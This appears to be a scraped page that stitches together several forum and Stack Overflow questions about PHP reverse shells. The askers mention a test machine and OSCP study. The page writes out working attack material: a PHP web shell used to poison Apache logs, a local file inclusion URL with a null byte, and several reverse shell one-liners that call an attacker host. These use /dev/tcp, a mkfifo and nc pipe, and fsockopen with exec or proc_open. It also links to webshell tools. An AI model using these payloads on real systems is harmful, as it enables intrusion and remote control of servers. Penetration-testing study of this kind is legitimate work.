windows php reverse shell
Executing a PHP script (a reverse shell) by calling it through the URL
Reverse shell PHP with GET parameters - Stack Overflow
reverse shell php
I am looking for the shortest possible php reverse shell that could be uploaded and run on a windows system to send cmd.exe to a nc listener.
I'm stuck trying to get a reverse shell to execute by calling it through a URL.
I have a vulnerable Windows machine, and I've uploaded a PHP reverse shell to it. I've also contaminated the Apache logs with:
<?php echo shell_exec($_GET['revsh']);?>
So the PHP code, and the PHP reverse script are on the machine.
I can run Windows commands via the URL by running: http://192.168.1.8/musiclist.php?name=frank&message=test123&revsh=ipconfig&volume=../../../../../../../usr/local/apache/logs/access.log%00
The above displays the access logs with the output of ipconfig embedded.
My PHP reverse works too. Since it's a test machine, I can navigate to it and click on it. When I do that my nc listener in kali gets a Windows shell. So the shell isn't the problem I don't think.
What I'm struggling with is executing the PHP script from the above URL. I would think I'd just have to replace 'ipconfig' with the path of the PHP script, or something similar. Some of the things I've tried include: revsh="http://192.168.1.8/files/shell.php" (that's where the shell is located) revsh="php-cli http://192.168.1.8/files/shell.php" revsh=../../../../../../files/shell.php
...and other variations.
Perhaps I'm not calling it correctly? Do I need to call a function in the PHP vs. the file itself? Am I not calling the file correctly?
Hi everyone,
I'm wondering about a subject.
Sometimes i have to upload a reverse-shell php. I know somes techniques :
1- Push a <?php system($_GET["cmd"]); ?> and then use whoami . It works, but bash -i >& /dev/tcp/KALI_IP/4444 0>&1 or rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc KALI_IP 4444 >/tmp/f encoded in URL doesn't. I don't understand why
2- I also found <?php php -r '$sock=fsockopen("KALI_IP",4444);exec ("/bin/sh -i <&3 >&3 2>&3");' ?> but i can't say when to use it
3- and the classic https://github.com/Wh1ter0sEo4/reverse_shell_php/blob/main/reverse_shell.php
Someone can help me to understand, when to use each one ?
EDIT :
1- It works (URL encoded) with /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1' and the other one works without changement
2- <?php $sock = fsockopen("KALI_IP", 4444); proc_open('/bin/bash -i', array(0=>$sock, 1=>$sock, 2=>$sock), $pipes>
I also found an amazing tool : https://github.com/WhiteWinterWolf/wwwolf-php-webshell . I will keep it carefully
Hi, I am studying for OSCP and I found Remote File Inclusion vulnerability, but the target host has disabled fsockopen() and exec() functions. Is there any other way how to do reverse shell? Thanks!